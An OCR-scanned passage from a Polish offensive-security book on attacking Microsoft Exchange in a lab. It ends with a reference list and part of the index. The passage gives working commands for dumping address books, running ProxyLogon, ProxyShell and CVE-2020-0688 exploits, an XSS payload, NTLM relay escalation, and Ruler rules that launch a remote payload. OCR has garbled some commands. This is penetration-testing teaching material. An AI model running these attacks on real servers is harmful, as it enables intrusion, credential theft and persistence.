SID uzytkownika domeny i nazwa kontrolera domeny.

3. Zazadaj pliku oab.xml przy uzyciu wartosci 0ABUr1 w celu wySwietlenia nazw
plikéw OAB.

4. W pliku oab.xml wyszukaj nazwe pliku, ktéra zawiera dane
i ma rozszerzenie .Izx.

5. Pobierz ten plik i go sparsuj (ang. parse).

Bedziemy potrzebowac¢ maszyny z systemem Linux, aby uruchomi¢ ponizsze pole-
cenia. Zeby zautomatyzowac¢ ekstrakcje OABUTr], uzyjemy skryptu dostepnego na
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platformie GitHub [13]. Skrypt pomaga w wykonaniu krokéw 1 i 2. Wynik mozesz
znaleZ¢ na rysunku 1.10.

/oesktop

Rysunek 1.10. Ekstrakcja OABUrl

Nastepnie skopiujemy plik oab.xml i go sparsujemy, aby znaleZ¢ adres URL dla pliku
.Izx ze stowem data w nazwie. To jest nasz plik GAL OAB. Ostatnim krokiem bedzie
zapisanie pliku i sparsowanie go w celu znalezienia adreséw e-mail:

curl -k --ntIm -u 'windomain.local\vinegrep:Qwerty123!"' https://exchange

> .windomain.local/0AB/e79472bb-2dd6-4ffb-9e02-8dd42510bb1lb/oab.xm1 >
>o0ab.xml

cat oab.xml | grep '.1zx' | grep data

curl -k --ntIm -u 'windomain.local\vinegrep:Qwerty123!"' https://exchange

> .windomain.local/0AB/e79472bb-2dd6-4ffb-9e02-8dd42510bb1lb/
>007215f1-4ab8-4ed2-a503-4cd82b0d8093-data-1.1zx > oab.1zx

strings oab.txt | egrep -o "[a-zA-Z0-9. %+-]+@[a-zA-Z0-9.-]1+\.[a-zA-Z]{2,5}"
—>| sort -u

Adresy e-mailowe GAL wyodrebnione z pliku OAB mozna zobaczy¢ na rysunku 1.11.

Rysunek 1.11. Wyodrebnianie adreséw e-mail GAL przy uzyciu pliku OAB

Inny sposdb na zrzucenie zawartosci ksigzki adresowej poprzez NSPI zostat odkryty
przez Positive Technologies w toku prowadzonych przez te firme badan [14]. Narze-
dzie o nazwie Exchanger jest teraz czescig pakietu klas Pythona Impacket, wiec mo-
zemy z niego korzysta¢ bez dodatkowej instalacji. W pierwszym kroku wylistujemy
tabele, aby uzyska¢ identyfikator GUID, a nastepnie, uzywajac identyfikatora GUID,
zrzucimy zwarto$¢ obiecujacych tabeli:

python3 exchanger.py windomain.local/vinegrep:'Qwertyl23!'@exchange

>.windomain.local -debug nspi list-tables -count
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python3 exchanger.py windomain.local/vinegrep:'Qwertyl23!'@exchange
> .windomain.local -debug nspi dump-tables
>-guid 715d9794-704c-4fe3-a038-24f149747b2c -1ookup-type EXTENDED

Wynik zrzutu mozna zobaczy¢ na rysunku 1.12.

Rysunek 1.12. Zrzucanie zawartosci (ang. dumping) ksiazki adresowej
na podstawie identyfikatora GUID poprzez NSPI

Teraz mozemy ponownie uruchomic nasz atak polegajacy na rozsiewaniu haset przy
uzyciu wyodrebnionych wiadomosci e-mail. Mozemy réwniez uzy¢ tego narzedzia do
zrzucenia obiektow ustugi Active Directory wedtug ich identyfikatoréw GUID. Nalezy
pamieta¢, ze najpierw musimy uzyskac¢ identyfikator GUID, na przyktad za pomoca
polecenia PowerShella, a dopiero potem przekazac¢ go do Exchangera:
Get-ADComputer -Identity winl0.0bjectGUID
python3 exchanger.py windomain.local/vinegrep:'Qwertyl23!'@exchange

>.windomain.local -debug nspi guid-known
>-guid b1422ca3-66c7-4d6b-b7f4-43c73e9705b2 -1ookup-type EXTENDED

Wynik wykonania polecenia Exchangera mozna zobaczy¢ na rysunku 1.13.

Rysunek 1.13. Zrzut obiektu Active Directory wedtug jego identyfikatora GUID
za posrednictwem NSPI

Skoro jeste$my przy temacie eksfiltracji danych, nie sposéb nie wspomnie¢ o projek-
cie o nazwie PEAS [15]. Narzedzie to zostato opracowane na podstawie badain MWR
[16] w celu uruchamiania polecen na serwerze ActiveSync. Pomyst polega na tym, ze
mozemy przeprowadzi¢ enumeracje i uzyskac dostep do udziatéw plikéw w dome-
nie za po$rednictwem serwera Exchange. Gtdwng wada tego narzedzia jest to, Ze pro-
tokdt ActiveSync musi by¢ wigczony zaréwno na serwerze, jak i dla konta klienta.
Ponadto ActiveSync powinien by¢ skonfigurowany tak, by pozwalat na sciezki UNC
i nie ograniczat serweréw SMB.
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Innym sposobem na zdalne przejecie kontroli nad serwerem Exchange jest wykorzy-
stanie podatnos$ci w zabezpieczeniach do wpuszczania eksploitow. W ostatnich latach
znaleziono i ujawniono kilka krytycznych luk w zabezpieczeniach. W nastepnej sekcji
omoéwimy dostepne publicznie eksploity.

Eksploity Zero2Hero

W tym punkcie om6éwimy rodzine eksploitow Proxy*, CVE-2020-0688 i PrivExchange
(CVE-2018-8581). Wszystkie z nich maja rézne przyczyny zrodtowe, ale tez dowodza,
ze Exchange jest niezwykle ztozonym oprogramowaniem o szerokiej powierzchni ataku.

Zaczniemy od rodziny eksploitow Proxy*. Ta klasa luk pojawita sie, gdy przeciwnicy
i badacze skupili sie na nowej powierzchni ataku — ustudze dostepu klienta (ang.
Client Access Service — CAS). Zaczniemy od najstynniejszej luki w historii serwera
Exchange — ProxyLogon [17]. Orange Tsai z DEVCORE odkryt dwie podatnosci
(CVE-2021-26855 i CVE-2021-27065), ktére w polaczeniu pozwalajg na ominiecie
uwierzytelniania i zdalne wykonanie kodu.

CVE-2021-26855 to ,fatszowanie zadan po stronie serwera” (ang. Server-Side Requ-
est Forgery — SSRF), ktére pozwala oming¢ uwierzytelnianie i wysyta¢ zagdania z naj-
wyzszymi uprawnieniami. Gdy uzytkownik wysyta zadanie do interfejsu serwera
Exchange, przeptywa ono przez modut proxy HTTP, ktéry nastepnie je ocenia i wysyta
do zaplecza. Mozliwe jest sfatszowanie zadania po stronie serwera poprzez ustawie-
nie wartosci pliku cookie X-BEResource na zagdany adres URL zaplecza. Istnieja dwa
scenariusze wykorzystania tej luki do wpuszczenia eksploita. Pierwszy scenariusz
polega na uzyskaniu dostepu do wiadomosci e-mail, ale wymaga co najmniej dwoch ser-
weréw Exchange w srodowisku docelowym. Drugi to uwierzytelnienie sie w panelu
sterowania programu Exchange (ang. Exchange Control Panel — ECP), a nastepnie
przestanie powtoki sieciowej (CVE-2021-27065 1 CVE-2021-26858). Doskonaty pod-
recznik z instrukcjami krok po kroku, jak wykrywa¢ konkretne ataki hakerskie, zostat
opublikowany przez BL.ZONE [18].

CVE-2021-27065 daje mozliwo$¢ zapisu dowolnego pliku po uwierzytelnieniu. W skré-
cie atakujacy loguje sie do ECP, a nastepnie w wirtualnym katalogu OAB edytuje pole
External URL, wstawiajac kod powtoki sieciowej, i Zada zresetowania katalogu w celu
zapisania powtoki sieciowej.

Aby sprawdzi¢, czy serwer Exchange jest podatny na atak, mozemy wykorzysta¢ modut
z Metasploita — auxiliary/scanner/http/exchange_proxylogon. Wynik skanowania poka-
zano na rysunku 1.14.

msfE auxiliary( ) > run

The target is vulnerable to CVE-2821-26855.

omplete)
liary module executi ompleted

Rysunek 1.14. Serwer Exchange jest podatny na luke w zabezpieczeniach ProxyLogon
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Do niezawodnego wykorzystania w procesie ataku mozemy uzy¢ eksploita Meta-
sploit — exploit/windows/http/exchange_proxylogon rce. Wszystko, czego potrzebujemy,
to jeden prawidtowy adres e-mail, i to wszystko. Wynik dziatania eksploita mozesz
zobaczy¢ na rysunku 1.15.

Rysunek 1.15. Wykorzystanie luki w zabezpieczeniach
do wpuszczenia eksploita — ProxyLogon

Zajmijmy sie teraz eksploitem ProxyOracle [19], ktory sktada sie z luk CVE-2021-
-31195 (,,0dbite skrypty miedzy witrynami”) i CVE-2021-31196 (,Atak Padding Oracle
na parsowanie plikéw cookie serwera Exchange”), pozwalajacych na odzyskanie nazwy
uzytkownika ofiary i hasta w postaci zwyktego tekstu z pliku cookie. Aby sprawdzic,
czy docelowa instalacja jest podatna na atak (w naszym przypadku serwer Exchange
w laboratorium z adresem [P 192.168.56.106), sprobuj umiescic¢ ten ztosliwy kod wyko-
nywalny (ang. payload) w pasku adresu przegladarki:
https://192.168.56.106/owa/auth/
>frowny.aspx?app=peopledet=ServerError&esrc=MasterPage&te=\&refurl=}}};
alert(document.domain)//

Jesli zobaczysz wyskakujace okienko alertu (rysunek 1.16), znalazte$ podatny na
ataki cel.

X D) Eror x |+

A Not secure | hitps://192.168.56.106/owa/auth/frowny.aspx?app=people&et=ServerError&lesrc=MasterPagefite=\8refurl=}}};alert(document.domain)//

192.168.56.106 says

192.168.56.106

Rysunek 1.16. Odbity XSS w serwerze Exchange jest wymagany
do przeprowadzenia skutecznego ataku przy pomocy eksploita ProxyOracle
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Nastepng luka na naszej liscie jest kolejny wstepnie uwierzytelniony RCE — ProxyShell
[20]. Wykorzystuje on trzy luki w zabezpieczeniach; pierwsza z nich to CVE-2021-
-34473 (,Pomylenie $ciezek przed uwierzytelnieniem”). Jej wykorzystanie prowadzi
do obejscia list kontroli dostepu (ang. Access Control List — ACL). Druga to CVE-
-2021-34523 (,,Podniesienie uprawnien w backendzie Exchange PowerShell”), a trze-
cia to CVE-2021-31207 (,Arbitralny zapis plikdw po uwierzytelnieniu”).

W skrécie — pierwsza luka wykorzystuje do atakéw wadliwy proces normalizacji
adreséw URL w celu uzyskania dostepu do dowolnego adresu URL zaplecza w roli
konta maszyny Exchange. Druga luka powoduje podniesienie uprawnien przez umiesz-
czenie administratora serwera Exchange w parametrze zadania X-Rps-CAT, ktory jest
uzywany do przywrdcenia tozsamo$ci uzytkownika, gdy brakuje nagtéwka X-Common
>AccessToken. Trzecia luka wymaga napisania powtoki za pomoca polecen Exchange
PowerShell.

Metasploit wspiera nas rowniez w tym przypadku za pomoca eksploita exploit/
>windows/http/exchange proxyshell rce.

Wynik dziatania eksploita pokazano na rysunku 1.17.

Rysunek 1.17. Udane wykorzystanie eksploita ProxyShell do ataku

Nadszedt czas, aby omoéwic podatnos¢ ProxyNotShell [21]. Jest ona podobna do Proxy-
Shell, poniewaz sktada sie z pary podatnosci, ktérymi sg SSRF (CVE-2022-41040) i RCE
poprzez PowerShell (CVE-2022-41082). Tym razem réznica polega na tym, ze ataku-
jacy musi by¢ uwierzytelniony. Ponownie mamy eksploit dostepny w Metasploicie —
exploit/windows/http/exchange proxynotshell rce. Wazna informacja jest to, Ze eks-
ploit w Metasploicie jest dostepny tylko dla Exchange 2019. Mozemy zobaczy¢ wynik
po uruchomieniu go w naszym $rodowisku, jak wida¢ na rysunku 1.18.
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msfé exploit( ) > exploit

Started reverse TCP handler on 192.168.56.100:4444
Running automatic check ("set AutoCheck false" to disable)

an Exc !
Exp aborte re: no-target: This exploit is only compatible with Exchange Server 2819 (version 15.2)
Exploit completed, but no session was created.

Rysunek 1.18. Przerwanie dziatania eksploita ProxyNotShell z powodu wersji Exchange

Na koniec oméwimy pokrotce eksploity ProxyRelay [22] i ProxyNotRelay [23]. Pierw-
szy eksploit to atak przekaznikowy na inny serwer Exchange (brak CVE), backend
(CVE-2022-21979), frontend (CVE-2021-33768) lub Windows DCOM (CVE-2021-
-26414). Idea jest identyczna z innym wymuszonym uwierzytelnianiem i przekazni-
kami, ktére omoéwimy w dalszej cze$ci tej ksigzki. ProxyNotRelay nie jest oddzielng
podatnoscig, ale raczej kombinacja ProxyRelay i ProxyNotShell.

Teraz omoéwimy dwie stare podatnos$ci — CVE-2020-0688 i PrivExchange (CVE-
-2018-8581). Jest bardzo mato prawdopodobne, Ze napotkasz je w prawdziwym zyciu,
ale chodzi o to, aby pokazac inne powierzchnie ataku.

Podatno$¢ CVE-2020-0688 [24] pozwala uwierzytelnionemu atakujgcemu na wyko-
nanie dowolnego kodu z powodu statych kluczy kryptograficznych uzywanych pod-
czas instalacji serwera Exchange. Zanurzmy sie nieco glebiej w szczeg6ty. Btad (ang.
bug) zostat znaleziony w panelu sterowania serwera Exchange (ang. Exchange
Control Panel — ECP). Warto$ci validationKey i decryptionkey powinny by¢ losowo
generowane podczas instalacji. Klucze te zapewniaja bezpieczenstwo ViewState, beda-
cemu metodg zachowania warto$ci strony i kontrolek w aplikacjach internetowych
ASP.NET. Waznym zastrzeZeniem jest to, ze ViewState jest serializowany i przecho-
wywany po stronie Kklienta. Czym jest serializacja? Méwigc najprosciej, jest to proces
konwersji ztozonych danych na sekwencje bajtéw z zachowanym stanem w celu ich
wystania lub przechowywania. Je$li atakujacy moze manipulowa¢ takimi danymi,
dostarczajac wtasne zto$liwe warto$ci, niezabezpieczona deserializacja po stronie
serwera w pewnych okoliczno$ciach moze prowadzi¢ do RCE.

Po zalogowaniu sie do ECP Twoj przeciwnik zbiera ViewStateUserKey z pliku cookie
ASP.NET SessionID i warto§¢ VIEWSTATEGENERATOR ze strony logowania, po prostu
uzywajac przegladarki z narzedziami Dev Tools. Warto$¢ validationkey jest znana
(CB2721ABDAF8EIDC516D621D8BBBF13A2CIEB689A25303BF). Aby wygenerowac ztosliwy kod
wykonywalny (ang. payload) dla ViewState, uzyjemy narzedzia o nazwie ysoserial
>.net [25]. Narzedzie to jest zbiorem znanych tancuchéw gadzetéw wykrytych w biblio-
tekach wspélnych. Gadzety to snippety (fragmenty kodu), ktdre istnieja w kodzie biblio-
teki i moga pomdc atakujgcemu w uruchomieniu ztosliwego kodu, wykonujac sie jeden
po drugim. Ten eksploit wykorzystuje biblioteke TextFormattingRunProperties. Mozemy
uruchomié nastepujace polecenie, aby utworzy¢ plik w folderze C:\:
PowerShell.exe -ExecutionPolicy Bypass -File .\CVE-2020-0688.psl -Url
>https://192.168.56.106 -Username windomain\vinegrep -Password Qwertyl23!
>-Command 'powershell whoami > ->C:/whoami.txt' -YsoserialPath
>.\ysoserial\ysoserial.exe

Wynik wykonania kodu pokazano na rysunku 1.19.
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Rysunek 1.19. Udane wykorzystanie do ataku eksploita CVE-2020-0688

Plik zostat utworzony w folderze C:\ (rysunek 1.20).

PC » Windows 2016 (C:)

MName Date modified

T3}
-

whuann

| whoami - Notepad
lNde [dit Tormat WView |lclp
nt authority\system

Rysunek 1.20. Plik zostat utworzony w folderze C:\
i zawiera dane wyjsciowe polecenia whoami

Druga podatno$¢ wymaga spetnienia trzech warunkéw i nazywa sie PrivExchange
[26]. Pierwszym warunkiem jest posiadanie przez serwer Exchange zbyt wysokich
uprawnien w domenie. Grupa Exchange Windows Permissions miata uprawnienie
WriteDacl na obiekcie domeny, co pozwolito atakujacemu uzyska¢ prawa DCSync.
DCSync to uprawnienie, ktére pozwala na synchronizacje wszystkich hashy (skrétéw)
w domenie. Zazwyczaj uprawnienie to jest uzywane przez kontrolery domeny podczas
replikacji. Atakujacy po prostu zada od kontrolera domeny wystania hashy (skrotow)
do synchronizacji.

Drugim warunkiem jest mozliwo$¢ przekazywania NTLM dla kont maszynowych,
a trzecim jest to, Ze atakujacy moze zmusic¢ serwer Exchange do uwierzytelnienia sie
przeciwko komponentowi listenera za posrednictwem funkcji PushSubscription. Prze-
kaznik oméwimy bardziej szczeg6towo w rozdziale 5.

Przeprowadzmy atak przy uzyciu narzedzia nt1mrelayx i eksploita privexchange [27]:

python privexchange.py -ah 192.168.56.100 exchange.windomain.local -u
>vinegrep -d windomain.local
ntlmrelayx.py -t 1dap://192.168.56.102 --escalate-user vinegrep

Wynik pokazano na rysunku 1.21. Trzeba wspomniec, ze uzytkownik powinien mie¢
skrzynke pocztowa na serwerze Exchange.
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-[/opt/privexchange
ange.py 192.168.56.100 exchange.windomain.local vinegrep windomain.local

ning: ss1.PROTOCOL_TLS is deprecated

Rysunek 1.21. Wywotanie interfejsu APl PushSubscription powiodto sie

Poniewaz wdrozyliSmy serwer Exchange 2016 CU12, nie jest on podatny na ten atak.
Microsoft usunat automatyczne uwierzytelnianie na serwerze Exchange podczas wysy-
tania powiadomien. Zmniejszono réwniez uprawnienia serwera Exchange.

Kolejny punkt po$§wiecony jest uzyskaniu poczatkowego przyczotka w organizacji beda-
cej naszym celem za pomocg regut Outlooka, formularzy i strony gtéwnej naszej witryny
internetowe;j.

Zdobywanie przyczotka

W tym punkcie oméwimy sposoby osiggniecia RCE po zaatakowaniu skrzynki pocz-
towej — za pomoca regul, formularzy i strony gtéwne;j folderu. Metody te moga nadal
dziatag, jesli Outlook nie zostatl zatatany. Wazng uwaga jest to, ze méwimy o regutach
po stronie klienta w programie Outlook.

Zacznijmy od regut Outlooka [28]. Reguty sg przechowywane na serwerze Exchange,
anowa instancja Outlooka otrzymuje wszystkie istniejace reguty. Interesuje nas cze$¢
akcji reguty i to, co jg uruchamia. Kiedy tworzymy regute, obiecujaco wygladajg dwie
akcje: uruchom aplikacje i uruchom skrypt. Aby przeprowadzi¢ atak, potrzebujemy
poprawnego zestawu poswiadczen, wigczonego MAPI przez HTTP i ztosliwego pliku
upuszczonego na dysku lub dostepnego za posrednictwem $ciezki UNC (mozna réw-
niez uzy¢ WebDAV). Atak ten nie zadziata na zatatanym Outlooku 2016 i nowszych.
Aby przeprowadzi¢ ten atak, mozemy uzy¢ narzedzia o nazwie Ruler [29]. Ponizsze
polecenie utworzy regute i uruchomi ja po 30 sekundach:
./ruler -u vinegrep -p 'Qwertyl23!' -d windomain.local -e
>vinegrep@windomain.local -k --url https://192.168.56.106/autodiscover/
“>-autodiscover.xml --verbose —-debug add --trigger "vinegrep" --name evil
>--Tocation \\\\192.168.56.100:8000\\payload.exe --send

Reguta zostata pomyslnie utworzona (rysunek 1.22).

Dwa wazne zastrzezenia sg takie, Ze nie mozemy dostarcza¢ argumentow wiersza
polecen, a wychodzacy ruch WebDAV musi by¢ dozwolony. Ponadto po wprowadzeniu
przez Microsoft taty (KB3191938) w czerwcu 2013 dla programu Outlook [30] reguty
uruchamiajgce zaréwno aplikacje, jak i skrypt zostaty domys$lnie wytaczone.

Nastepnie oméwimy metode wykorzystujaca formularze programu Outlook [31].
Metoda ta zostata opracowana po tym, gdy Microsoft zlikwidowat wektor ataku wy-
korzystujacy reguty. Pomyst polega na tym, ze mozemy stworzy¢ wtasny formularz
z kodem w jezyku VBScript w Srodku. Na szcze$cie ten silnik skryptow jest oddzielony
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Rysunek 1.22. Tworzenie reguty

od silnika makr VBA, wiec wytaczenie makr nie pomoze. Aby zdalnie uruchomi¢ for-
mularz, musimy wysta¢ wiadomos$¢ e-mail o wtasciwej klasie wiadomosci. Musimy
utworzy¢ ten sam formularz w Outlooku. Technika ta jest Swietnym sposobem na
osiagniecie przetrwania. Nawet je$li ofiara zmieni hasto, mozemy po prostu wystaé
wiadomos$¢ e-mail i odzyskaé nasza powtoke. Aby przeprowadzi¢ ten atak, mozemy
ponownie uzy¢ narzedzia Ruler:

./ruler -e vinegrep@windomain.local form add --suffix evil --input
> /tmp/command.txt --send
./ruler -e vinegrep@windomain.local form send --prefix evil

We wrzesniu 2017, kiedy opublikowano aktualizacje KB4011091 dla programu Out-
look [32], wektor niestandardowych skryptéw formularzy zostat zniszczony.

Jest jeszcze trzeci wektor do oméwienia, zwany strong gtéwnga Outlooka [33]. Strona
gtéwna pozwala nam dostosowaé¢ domyslny widok dla dowolnego folderu poprzez
okreslenie adresu URL, ktdry ma zosta¢ zatadowany i wyswietlony po otwarciu fol-
deru. Wykonanie kodu pochodzi z identyfikatora CLSID OutTookViewCt1 (0006F063-
-0000-0000-C000-000000000046) osadzonego jako obiekt i dostepnego w metodzie Create
>0bject. Wszystko, co musimy zrobi¢, to utworzy¢ nasza niestandardowg strone gtéwna
i za pomocg aplikacji Ruler ustawic¢ jg dla uzytkownika:
./ruler -u vinegrep -p 'Qwertyl23!' -d windomain.local -e
>vinegrep@windomain.local -k --url https://192.168.56.106/autodiscover/
“>autodiscover.xml --verbose --debug homepage add --url
>http://192.168.56.106/homepage.html

Wynik wykonania polecenia mozesz zobaczy¢ na rysunku 1.23.

Rysunek 1.23. Ustawianie strony gtownej programu Outlook
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Microsoft catkowicie wyeliminowat ten wektor, usuwajac funkcje strony gtéwnej
w aktualizacji KB4011162 w pazdzierniku 2017 [34]. Zmniejszenie powierzchni ataku
jest najlepszym sposobem na naprawienie btedow.

W tym podrozdziale omowili$my rézne wektory atakow na serwer Exchange. Aby zta-
godzi¢ ataki polegajace na rozsiewaniu hasel, wymagane jest uwierzytelnianie wie-
losktadnikowe i odpowiednie monitorowanie logowania. Wszystkie luki w zabezpie-
czeniach RCE predzej czy pézniej otrzymatly taty. Konieczne jest rdwniez tatanie
oprogramowania klienckiego, poniewaz moze ono zosta¢ wykorzystane przez ataku-
jacego do ruchéw bocznych i osiggniecia stanu przetrwania.

Podsumowanie

W tym rozdziale wdrozyli$my laboratorium, aby méc wykonywa¢ w przysztosci nasze
dziatania. Mamy szcze$cie, ze dysponujemy dwoma wyjatkowymi darmowymi pro-
jektami dostepnymi do celéw szkoleniowych i badawczych. Nastepnie omdéwiliSmy
zabojczy tanicuch w ustudze katalogowej Active Directory, kluczowe kroki w naru-
szaniu bezpieczenstwa §rodowiska docelowego i to, czym jest bezpieczenstwo ope-
racyjne (OpSec). ZagtebiliSmy sie w model zaktadajacy wtamanie, pokazujac solidne
przeszkody, ktére nalezy pokona¢, aby uzyskac stabilny dostep poczatkowy. Oméwi-
liSmy trzy gtéwne wektory ataku na serwer Exchange: dostep do danych uwierzytel-
niajacych, eksploity Zero2Hero i wykorzystywanie do atakdéw oprogramowania po
stronie klienta. W nastepnym rozdziale oméwimy w zarysie unikanie obrony. Jest to
szeroki i gteboki temat, ktory, jak zobaczysz, ostatecznie zawezi sie do zasady ,znaj
swoje narzedzia”.

Wiecej informacji
Ponizsze zasoby do dalszego studiowania pomogg Ci dogtebniej przeanalizowa¢ ataki
omdwione w tym rozdziale:

1. Splunk Attack Range: https://github.com/splunk/attack _range

2. Orange Cyberdefense GOADvV2: https://github.com/Orange-Cyberdefense/GOAD

3. Wdrozenie GOADv2 na platformie Proxmox: https://mayfly277.github.io/
categories/proxmox/

4. Projekt DetectionLab: https://www.detectionlab.network/

5. Active Directory — schemat zabdéjczego tafcucha: https://github.com/
infosecn1nja/AD-Attack-Defense

6. Red team infrastructure wiki: https://github.com/bluscreenofjeff/Red-Team
-Infrastructure-Wiki

7. EDR bypass team: https://dispatch.redteams.fyi/red-team-edr-bypass-team/
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Model zaktadajacy wtamanie do systemu IT: https://www.redsiege.com/
wp-content/uploads/2019/09/AssumedBreach-ABM.pdf

Mapa mysli do oceny bezpieczenstwa serwera Exchange: https://github.com/
Orange-Cyberdefense/arsenal/blob/master/mindmap/Pentesting_MS

_Exchange_Server_on_the_Perimeter.png

MailSniper: https://github.com/dafthack/MailSniper

NameMash: https://gist.github.com/superkojiman/11076951#file
-namemash-py

EmailAddressMangler: https://github.com/dafthack/EmailAddressMangler

Skrypt ekstrakcji OABurl autorstwa snovvcrash: https://gist.github.com/
snovvcrash/4e76aaf2a8750922f546eed81aa51438#file-oaburl-py

Atakowanie interfejséw sieciowych Exchange: https://swarm.ptsecurity.com/
attacking-ms-exchange-web-interfaces/

PEAS: Biblioteka Python 2 i aplikacja do uruchamiania polecen na serwerze
Exchange: https://github.com/snovvcrash/peas

Badanie eksfiltracji MWR ActiveSync: https://labs.withsecure.com/publications/
accessing-internal-fileshares-through-exchange-activesync

Wykrywanie luk w zabezpieczeniach ProxyLogon: https://devco.re/blog/
2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/

Hunting ProxyLogon: https://bi-zone.medium.com/hunting-down-ms
-exchange-attacks-part-1-proxylogon-cve-2021-26855-26858-27065-26857
-6e885c5f197c

Wpis na blogu badacza luk w zabezpieczeniach, ktéry odkryt ProxyOracle:
https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange
-part-2-ProxyOracle/

Pelny opis ProxyShell jest dostepny na blogu ZDI tutaj: https://www
.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack
-surface-on-microsoft-exchange-proxyshell

Wpis na blogu Palo Alto dotyczacy luki w zabezpieczeniach ProxyNotShell:
https://unit42.paloaltonetworks.com/proxynotshell-cve-2022-41040-cve
-2022-41082/

Autor ProxyRelay opisuje szczegéty luki w zabezpieczeniach: https://devco
.re/blog/2022/10/19/a-new-attack-surface-on-MS-exchange-part-4
-ProxyRelay/

Artykut o ProxyNotRelay, ktory jest polaczeniem ProxyRelay i ProxyNotShell:
https://rw.md/2022/11/09/ProxyNotRelay.html

Podatno$¢ CVE-2020-0688 prowadzi do zdalnego wykonania kodu na serwerze
Exchange: https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020
-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed
-cryptographic-keys
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25. Ysoserial.net: https://github.com/pwntester/ysoserial.net

26. Oryginalne badania dotyczace luki w zabezpieczeniach PrivExchange: https://
dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/

27. PrivExchange: https://github.com/dirkjanm/privexchange/

28. Naruszanie bezpieczenstwa stacji roboczych za pomoca regut poczty aplikacji
Outlook: https://sensepost.com/blog/2016/mapi-over-http-and-mailrule
-pwnage/

29. Narzedzie Ruler: https://github.com/sensepost/ruler

30. Biuletyn Microsoft KB3191938: https://support.microsoft.com/en-us/topic/

description-of-the-security-update-for-outlook-2013-june-13-2017-d52f7b9a
-488c-dd5a-0d43-da5832eaac5f

31. Formularze Outlooka, narzedzie pozwalajgce osiggng¢ stan przetrwania:
https://sensepost.com/blog/2017/outlook-forms-and-shells/

32. Biuletyn Microsoft KB4011091: https://support.microsoft.com/en-us/office/
custom-form-script-is-now-disabled-by-default-bd8ea308-733f-4728-bfcc
-d7cce0120e94

33. Wykorzystywanie do atakéw funkcji strony gtéwnej witryny w programie

Outlook: https://sensepost.com/blog/2017/outlook-home-page-another-ruler
-vector/

34. Biuletyn Microsoft KB15599094: https://learn.microsoft.com/en-us/mem/
configmgr/hotfix/2207/15599094
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gtéwna nazwa
ustugi, SPN, 80, 102
uzytkownika, UPN, 243, 253
gMSA, Group Managed Service
Accounts, 22,107, 216
GOADv2, 20
schemat projektu, 22
GPO, Group Policy Object, 54,
69,175
eskalowanie przywilejow,
176
informacje, 177
naruszanie bezpieczenstwa,
175
scenariusze atakow, 175
GPP, Group Policy Preferences,
89
grupa
DNSAdmins, 183
Shadow Security Principals,
188
uprawnienia, 167
grupowe konta ustug
zarzadzanych, gMSA, 22, 107

hash
przechwytywanie, 91
przekazywanie, 123

hasta
atak Golden gMSA, 217
automatyczne zarzadzanie,

105

lokalne administratora, 105
odszyfrowanie, 89
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w polu opisu, 89

w postaci czystego tekstu,
113

zamaskowane NTDS, 109

identyfikator
SID domeny podrzednej, 185
wzgledny, RID, 131
zabezpieczen, SID, 145, 147,
191, 205
IIS, Internet Information
Services, 22
Impacket, 122
inspekcja zdarzen AD CS, 231
InstallUtil, 52
instrumentacja zarzadzania
Windows, WMI, 70
interfejs
CryptoAPI, 232
dostawcy ustug
nazewnictwa, NSPI, 27
ochrony danych, DPAPI, 112
skanowania antymalware,
AMS], 44
ustugi Active Directory,
ADSI, 299
internetowe ustugi
informacyjne, IIS, 22
10C, Indicators of Compromise,
64

J

JEA, Just Enough
Administration, 119, 185
jednostki
kontroli dostepu, ACE, 167
organizacyjne, OU, 69, 175
jezyk
definicji danych, DDL, 304
manipulacji danymi, DML,
304
definicji deskryptora
zabezpieczen, SDDL, 225

K

KCD, Kerberos Constrained
Delegation, 170
Kerberos
atak roasting, 97
delegowanie
nieograniczone, 136
ograniczone, 141,170
RBCD, 139, 169
dziatanie protokotu, 97
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klucz publiczny, 229
kod integralnosci komunikatu,
MIC, 124
komputer
atak S4U, 169
uprawnienia, 169
konta
DSRM, 223
konta-cienie, 187
systemowe, 285
ustug wspétdzielonych, 297
ustugi bazy danych, 285
zaufania serwera, 208
kontrola
aplikacji Windows
Defender, WDAC, 50
dostepu
do obiektéw PKI, 259
do szablonu certyfikatu,
255
do urzedu certyfikacji,
261
kontroler domeny, DC, 310
kradziez
certyfikatu, 232-236
eksportowanie
certyfikatéw, 232
maszyny, 235
urzedu certyfikacji, 269
uzytkownika, 233
zbieranie plikéw
certyfikatow, 236
danych uwierzytelniajacych,
237,239
ksigzka adresowa offline, OAB,
27
KUD, Kerberos unconstrained
delegation, 150

L

LAPS, Local Administrator
Password Solution, 105

las, 147

LDAP, Lightweight Directory
Access Protocol, 72

lista kontroli dostepu, ACL, 35,
166
do systemu, SACL, 167, 225
uznaniowa, DACL, 167, 225

listener WinRM, 118

L
tacza do baz danych, 297

M

MECM, Microsoft Endpoint
Configuration Manager, 308,
311
menedzer
konfiguracji centrum
systemowego, SCCM, 308,
311

konfiguracji punktéw
koncowych, MECM, 308,
311

LAN, LAN Manager, 93

metoda

FindPeople, 30

RpcRemoteFindFirstPrinter
ChangeNotificationEx, 95

MFA, Multi-Factor
Authentication, 29, 122

Mimikatz
atak pass-the-hash, 130
dodawanie historii SID-6w,

206
modut memssp, 221
ztoty bilet, 185

narzedzia
do enumeracji, 74
do wykrywania atakow, 21
do zrzucania danych, 109
narzedzie
ACLScanner, 167
ADExplorer, 79
ATA, 82
BloodHound, 77
c3c, 79
Certify, 239, 261
Certipy, 244
certipy-ad, 244, 256, 267
certreq, 239
CertStealer, 232
certutil.exe, 240
CMLoot, 317
ConfuserEx, 62
CrackMapExec, 88,90, 161,
277
crop, 94
DCSYNCMonitor, 111
DeepBlue, 57
dementor, 127
DeObfuscateSecretString,
323
DomainPasswordSpray, 91
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narzedzie
evil-winrm, 119
Exchanger, 31
farmer, 94
fltMC.exe, 60
ForgeCert, 269
GMSAPasswordRead, 109
GoldenGMSA, 217
Gpp-Decrypt, 89
hashcat, 99
HeidiSQL, 280, 286
Impacket, 122
InstallUtil, 52
Invisi-Shell, 57
Invoke-Obfuscation, 46, 47
Invoke-PhantOm, 60
Invoke-SQLAudit, 282
Invoke-SQLEscalatePriv, 282
kerbrute, 91
kpasswd.py, 88
LAPS, 105
logman, 60
MailSniper, 27, 30
Mimikatz, 113,132, 134
mitmé6, 125
